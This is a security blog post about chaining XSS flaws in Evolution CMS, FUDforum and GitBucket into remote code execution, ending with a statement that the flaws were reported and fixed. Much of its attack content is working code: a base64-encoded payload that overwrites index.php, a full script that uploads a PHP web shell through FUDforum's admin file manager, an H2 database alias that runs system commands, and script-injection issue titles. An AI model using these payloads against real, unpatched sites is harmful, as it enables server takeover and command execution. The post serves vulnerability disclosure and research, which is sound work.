An Open Source apps Leads to XSS to RCE Vulnerability Flaws
Tags: bugbounty, penetration, poc
Published: 2022-10-29 05:36:45

---
title: An Open Source apps Leads to XSS to RCE  Vulnerability Flaws
published: true
date: 2022-10-30 12:59:00 UTC
tags: BugBounty,Penetration,Poc
canonical_url: https://tutorialboy24.blogspot.com/2022/08/an-open-source-apps-leads-to-xss-to-rce.html
---

 

 ![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfyLwSxu8lQBI_FGB27MjrctzfP_3sh4QSMKezSOD1Gf-WnWFGZ9pmBVFuk34tHV-BT5eo_udpKfk_quBwBVbodLwK0zYQI5-W19mjsMBZBx-7iQ7uBJuw4w9BztvvysTNrzwXi-J1e2t30lP2bcgGe0Sdyr4xGidjcxP1rJk7bXhCvWCa725bSrX6Lw/s16000/Blue%20Wolf%20Gaming%20Youtube%20Channel%20Art.png)
  

Cross-Site Scripting (XSS) is one of the most commonly encountered attacks in web applications. If an attacker can inject a JavaScript code into the application output, this can lead not only to cookie theft, redirection, or phishing but also in some cases to a complete compromise of the system.

In this article, I’ll show how to achieve a Remote Code Execution via XSS on the examples of Evolution CMS, FUDForum, and GitBucket.

# Evolution CMS v3.1.8

Link: [https://github.com/evolution-cms/evolution](https://github.com/evolution-cms/evolution)

CVE: Pending

Evolution CMS is the world’s fastest and the most customizable open source PHP CMS.

In Evolution CMS, I discovered an unescaped display of user-controlled data, which leads to the possibility of reflected XSS attacks:

 ![](https://blogger.googleusercontent.com/img/a/AVvXsEj4eu5Oa_uWz1bPlrDqBzpUqY6uj6UZM7UfjyDS-Kil8SLb-py7efWohymc1m6-B9CyTSm7EyTx92UfMaYKqSZxgkF-C-5HoB9NawZV33S-V62PC0xcQesct9Qf3jUzGPYsXgGsDM-9msIpUiJ4o3QLo1sObRjsOdDVkwnHyKuRCiaGNkO0N5jqaCkwXw=w640-h122)

manager/views/page/user\_roles/permission.blade.php

 ![](https://blogger.googleusercontent.com/img/a/AVvXsEiktN9sKFqt-98K0T2bCq4fjev5DeyT5TQaHpiTfwt6IBPVZTLc7gFJhxS94emb938-4igjHnMp9rKEM0J4ovrJyIghrczOPNUL8B600il_tEY5qhU5zl3tbQXLtdR3JVnqvqcHjTB6gL6xZo_MCXaJkQT8A18Vdp64S_YydTFNot9N48-koMhrgcFHjQ=w640-h130)

manager/views/page/user\_roles/user\_role.blade.php

[![](https://blogger.googleusercontent.com/img/a/AVvXsEiHuvA1J3KZ38N7OGqAjlXLZrvkBVA_0YhtsVoZ-vYQj7rVcArVMNerurDLlnjWnwRb5JK1gU3luORWpaOqCXVzyuTfNkAe5iSbpG6JxvAfOkRzyQBXhdDbs87qdzCqcxpBU-_AKer3uOFeTKKdD2L8rPJcpKIZV7DGNieVA-GQ4csypXYyCQUtpid6rg=w640-h120)](https://blogger.googleusercontent.com/img/a/AVvXsEiHuvA1J3KZ38N7OGqAjlXLZrvkBVA_0YhtsVoZ-vYQj7rVcArVMNerurDLlnjWnwRb5JK1gU3luORWpaOqCXVzyuTfNkAe5iSbpG6JxvAfOkRzyQBXhdDbs87qdzCqcxpBU-_AKer3uOFeTKKdD2L8rPJcpKIZV7DGNieVA-GQ4csypXYyCQUtpid6rg)

manager/views/page/user\_roles/permissions\_groups.blade.php

I will give an example of a link with a payload.

```
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E
```

If an administrator authorized in the system follows the link or clicks on it, then the javascript code will be executed in the administrator’s browser:

[![](https://blogger.googleusercontent.com/img/a/AVvXsEggHAwvJH0IN7UOzNdQ3z98HYUao4FEpABVDHTeyaVwkl0G4NbjZeN4hwy5QXH-nq3f_X5GoXyAEEjfsSWrJguvz7SlXnkL1TkggyxGC_gN2WeUhZHY7EZMXoDBfwWWcDnRTOzmIrblyach0kqE4VYWHjEUH7g1R9jzC--xpXCDGXzaGAppq0gq7OGhfw=w640-h388)](https://blogger.googleusercontent.com/img/a/AVvXsEggHAwvJH0IN7UOzNdQ3z98HYUao4FEpABVDHTeyaVwkl0G4NbjZeN4hwy5QXH-nq3f_X5GoXyAEEjfsSWrJguvz7SlXnkL1TkggyxGC_gN2WeUhZHY7EZMXoDBfwWWcDnRTOzmIrblyach0kqE4VYWHjEUH7g1R9jzC--xpXCDGXzaGAppq0gq7OGhfw)
  

EThe exploitation of reflected XSS attack in Evolution CMS

In the admin panel of Evolution CMS, in the file manager section, the administrator can upload files. The problem is that it cannot upload php files, however, it can edit existing ones.

We will give an example javascript code that will overwrite the ndex.php file with phpinfo() function:

```
$.get('/manager/?a=31',function(d) { let p = $(d).contents().find('input[name=\"path\"]').val(); $.ajax({ url:'/manager/index.php', type:'POST', contentType:'application/x-www-form-urlencoded', data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'} );});
```

It’s time to combine the payload and the javascript code described above, which, as an example, can be encoded in Base64:

```
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=eval(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E
```

In case of a successful attack on an administrator authorized in the system, the index.php file will be overwritten with the code that the attacker placed in the payload. In this case, this is a call of the phpinfo() function:

[![](https://blogger.googleusercontent.com/img/a/AVvXsEiCKeC9H-CotfN1c0SP2r3vASmaHPOKh2quI9xEBmY_omXIHkU5irkdyjJ9YIU7_NS_DsJGWRpg-iHbjBMibpcuChMMXLz931BvDwn5J2JG8C3ZxqOlf-SsHC6Ej_ns4sMocuMhJrq0y_NUv-7tCr5TQrGj0X-7ASgR8mDMf8p1pThiEmXH4aECwSxWcw=w640-h378)](https://blogger.googleusercontent.com/img/a/AVvXsEiCKeC9H-CotfN1c0SP2r3vASmaHPOKh2quI9xEBmY_omXIHkU5irkdyjJ9YIU7_NS_DsJGWRpg-iHbjBMibpcuChMMXLz931BvDwn5J2JG8C3ZxqOlf-SsHC6Ej_ns4sMocuMhJrq0y_NUv-7tCr5TQrGj0X-7ASgR8mDMf8p1pThiEmXH4aECwSxWcw)
  

# FUDforum v3.1.1

Link: [https://github.com/fudforum/FUDforum](https://github.com/fudforum/FUDforum)

CVE: Pending

FUDforum is a super fast and scalable discussion forum. It is highly customizable and supports unlimited members, forums, posts, topics, polls, and attachments.

In a FUDforum, I found an unescaped display of user-controlled data in the name of an attachment in a private message or forum topic, which allows performing a stored XSS attack. Attach and upload a file with the name: <img src=1 onerror=alert()>.png . After downloading this file, the javascript code will be executed in the browser:

[![](https://blogger.googleusercontent.com/img/a/AVvXsEhFyapO9eNuRMvfVA7jTRW8zuFlNPVMdIKY5WKi3v9u96wc8YY5PWqJmWvczPYBfkmF2imRd1QpJ8RF6xNBSxJFpST4O1OgvWINuRHBWhUwdNq5275TP-L5JXe4YuGHE_udixNwijsXuDaJI5bXu_aGeP_XfhhFX09etLBn7bu5hUZpOcBMKfB2PCOkXQ=w640-h561)](https://blogger.googleusercontent.com/img/a/AVvXsEhFyapO9eNuRMvfVA7jTRW8zuFlNPVMdIKY5WKi3v9u96wc8YY5PWqJmWvczPYBfkmF2imRd1QpJ8RF6xNBSxJFpST4O1OgvWINuRHBWhUwdNq5275TP-L5JXe4YuGHE_udixNwijsXuDaJI5bXu_aGeP_XfhhFX09etLBn7bu5hUZpOcBMKfB2PCOkXQ)
  
  

The FUDforum admin panel has a file manager that allows you to upload files to the server, including files with the php extension.

An attacker can use stored XSS to upload a php file that can execute any command on the server.

There is already a [public exploit](https://packetstormsecurity.com/files/155261/FUDForum-3.0.9-Code-Execution-Cross-Site-Scripting.html)for the FUDforum, which, using a javascript code, uploads a php file on behalf of the administrator:

```
const action = '/adm/admbrowse.php';function uploadShellWithCSRFToken(csrf) { let cur = '/var/www/html/fudforum.loc'; let boundary = "-----------------------------347796892242263418523552968210"; let contentType = "application/x-php"; let fileName = 'shell.php'; let fileData = "<?=`$_GET[cmd]`?>"; let xhr = new XMLHttpRequest(); xhr.open('POST', action, true); xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + boundary); let body = "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="cur"\r\n\r\n'; body += cur + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n'; body += csrf + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n'; body += "Content-Type: " + contentType + "\r\n\r\n"; body += fileData + "\r\n\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n'; body += "1" + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n'; body += fileName + "\r\n"; body += "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n'; body += "Upload File" + '\r\n'; body += "--" + boundary + "--"; xhr.send(body);}let req = new XMLHttpRequest();req.onreadystatechange = function() { if (req.readyState == 4 && req.status == 200) { let response = req.response; uploadShellWithCSRFToken(response.querySelector('input[name=SQ]').value); }}req.open("GET", action, true);req.responseType = "document";req.send();
```

Now an attacker can write a private message to himself and attach the mentioned exploit as a file. After the message has been sent to itself, needs to get the path to the hosted javascript exploits on the server:

```
index.php?t=getfile&id=7&private=1
```

The next step is to prepare the javascript payload that will be executed via a stored XSS attack. The essence of the payload is to get an early placed exploit and run it:

```
$.get('index.php?t=getfile&id=7&&private=1',function(d){eval(d)})
```

It remains to put everything together to form the full name of the attached file in private messages. We will encode the assembled javascript payload in Base64:

```
<img src=1 onerror=eval(atob('JC5nZXQoJ2luZGV4LnBocD90PWdldGZpbGUmaWQ9NyYmcHJpdmF0ZT0xJyxmdW5jdGlvbihkKXtldmFsKGQpfSk='))>.png
```

After the administrator reads the private message sent by the attacker with the attached file, a file named shell.php will be created on the server on behalf of the administrator, which will allow the attacker to execute arbitrary commands on the server:

 ![](https://blogger.googleusercontent.com/img/a/AVvXsEiB4fR8kQK96ze8gLrZKmqrEUeAGF4SbTMm22SWKLj2QExOrHN1OhKTcN3LY3-mD-QiMQh9IFstBR1GLkZk1QlJJq0rgopP4Andjm9mYz94daxJsWFPIbiIHblgKmTVXW-lMTSYv6LM5f7TCN6kI8Ez0vDvsGY13zstsKytb0v4edQjqnxh9X8_2c4omg=w640-h470)

# GitBucket v4.37.1

Link: [https://github.com/gitbucket/gitbucket](https://github.com/gitbucket/gitbucket)

CVE: Pending

GitBucket is a Git platform powered by Scala with easy installation, high extensibility, and GitHub API compatibility.

In GitBucket, I found unescaped display of user-controlled issue name on the home page and attacker’s profile page (/hacker?tab=activity), which leads to a stored XSS:

[![](https://blogger.googleusercontent.com/img/a/AVvXsEjKUzPStK_eJFQ9EswYPVPDy9g6kRBwmO-ReA0P51oNs0isn7Lc6VDsErRiJBSXjg1eEeeH4hYaMryfHmiV01P_aCUC529Hnjybgy5QXbw5junz-Xuom97Onyh3utmNyJIv21KZoctPeluovHgkg7nJs3hrffuOxrg4dYZWs5277UCSeCrKJxLFuVNuBw=w640-h312)](https://blogger.googleusercontent.com/img/a/AVvXsEjKUzPStK_eJFQ9EswYPVPDy9g6kRBwmO-ReA0P51oNs0isn7Lc6VDsErRiJBSXjg1eEeeH4hYaMryfHmiV01P_aCUC529Hnjybgy5QXbw5junz-Xuom97Onyh3utmNyJIv21KZoctPeluovHgkg7nJs3hrffuOxrg4dYZWs5277UCSeCrKJxLFuVNuBw)
  

Having a stored XSS attack, cone and try to exploit it to execute code on the server. The admin panel has tools for performing SQL queries – Database viewer.

GitBucket uses [H2 Database Engine](https://www.h2database.com/html/main.html) by default. This database has [a publicly available exploit](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) to achieve a Remote Code Execution.

So, all an attacker needs to do is create a PoC code based on this exploit, upload it to the repository and use it during an attack:

```
var url = "/admin/dbviewer/_query";$.post(url, {query: 'CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");return s.hasNext() ? s.next() : ""; }$$;'}).done(function(data) {$.post(url, {query: "CALL EXECVE('touch HACKED')"})})
```

[![](https://blogger.googleusercontent.com/img/a/AVvXsEgLTruZzUhK7mfM941XBsf1YmIuyYHTR4zqo3jj4Etvs_tSrwL1wiYyZBy5OM76Da3VzvgFt7DtxvxWo_HpQW-TIohbb095Ol0faNAcmbj16n6BqIdoGCZw3F4uPINxiJ1eadLyInfWowzpqtptBOoYCFwa3BcTPECu9TZuEwlxrRN8l-lKEZ0jUnTDPQ=w640-h344)](https://blogger.googleusercontent.com/img/a/AVvXsEgLTruZzUhK7mfM941XBsf1YmIuyYHTR4zqo3jj4Etvs_tSrwL1wiYyZBy5OM76Da3VzvgFt7DtxvxWo_HpQW-TIohbb095Ol0faNAcmbj16n6BqIdoGCZw3F4uPINxiJ1eadLyInfWowzpqtptBOoYCFwa3BcTPECu9TZuEwlxrRN8l-lKEZ0jUnTDPQ)
  
  

Now it remains to create a new issue or rename the old one and perform a stored XSS attack with an early exploit loaded:

```
Issue 1"><script src="/hacker/Repo1/raw/f85ebe5d6b979ca69411fa84749edead3eec8de0/exploit.js"></script>
```

[![](https://blogger.googleusercontent.com/img/a/AVvXsEiVD424Z0kzdJzO6jWh3-JnOXbfi14adjZx_92THIJko_4AgxRECzdxNrKpv_-V_jwQtqI4zFIZeiUWb8lEl8d8f-2XhT8hxf0y7t6Dg7IiI6Pc6HNAY3KrAbnrFtLbtUzYESB9eMxd5EqDoLM5sDvHkGsm6paAQ75Hjst0GqWvcYTZacHwAi5wAmoiuQ=w640-h214)](https://blogger.googleusercontent.com/img/a/AVvXsEiVD424Z0kzdJzO6jWh3-JnOXbfi14adjZx_92THIJko_4AgxRECzdxNrKpv_-V_jwQtqI4zFIZeiUWb8lEl8d8f-2XhT8hxf0y7t6Dg7IiI6Pc6HNAY3KrAbnrFtLbtUzYESB9eMxd5EqDoLM5sDvHkGsm6paAQ75Hjst0GqWvcYTZacHwAi5wAmoiuQ)
  

When the administrator visits the attacker’s profile page or the main page, an exploit will be executed on his behalf and a HACKED file will be created on the server:

 ![](https://blogger.googleusercontent.com/img/a/AVvXsEjtmq-XbAvF0WePJ04TH9Fz-FiUr3NgCh0z6tHk3tV3MmeurU98reYLsj8Az9UjSeh8UkTdUb4oAC23UcFIzwR3E6gM30hVlkJbdvlp7Wx2pc1VFFnAIVXzZwW9NNcd9icE2gY9FhW0N3KeOt8zkTS5j2H9Mi_i66zwrrUomu9ujAm4Pl1i-ohtKaudxw=w640-h412)

  

 ![](https://blogger.googleusercontent.com/img/a/AVvXsEi0MxO_mlta6djsXZ8wQeBRSjAFmGuocU26Wt0OLgHTUO8xliw3VuOAVd3P9CWkBiUKGjnYgX5pxRJoeNrIThtZIPs2MuOgGRjj8hIXW1r8d1cseOLoXsj0Nmk2G1aIF_XHFtomq0DeSsDOpFcCwgjW_1dLyV9fc14Wz_vqD54qfeWAbwTyDXDG6pRGww=w400-h122)

## Conclusions

We have demonstrated that a low-skilled attacker can easily achieve remote code execution via any XSS attack in multiple open-source applications.

Information about all found vulnerabilities was reported to maintainers. Fixes are available in the official  repositories:

- [Evolution](https://github.com/evolution-cms/evolution/commit/4daa05017506bec322e2b482375b16e4456894c4)

- [FUDforum](https://github.com/fudforum/FUDforum/releases/tag/v3.1.2)

- [Gitbucket](https://github.com/gitbucket/gitbucket/releases/tag/4.37.2)